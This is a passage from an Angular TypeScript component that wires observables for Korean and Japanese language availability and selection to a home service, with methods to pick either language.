public actionBarColor: string = COLOR_PALETTE['dark-primary-color'];
public isKoreanAvailable$: Observable<boolean>;
public isJapaneseAvailable$: Observable<boolean>;
public isLanguageSelected$: Observable<boolean>;
public selectedLanguage$: Observable<string>;
constructor(private service: HomeService) {
this.isKoreanAvailable$ = service.state$.map((s: IHomeState) => s.isKoreanAvailable);
this.isJapaneseAvailable$ = service.state$.map((s: IHomeState) => s.isJapaneseAvailable);
this.isLanguageSelected$ = service.state$.map((s: IHomeState) => s.isLanguageSelected);
this.selectedLanguage$ = service.state$.map((s: IHomeState) => s.selectedLanguage);
}
public ngOnInit(): void {
this.service.initialize();
}
public selectKorean(): void {
this.service.selectLanguage(LANGUAGES.Korean);
}
public selectJapanese(): void {
this.service.selectLanguage(LANGUAGES.Japanese);
}
}
| gpl-3.0 |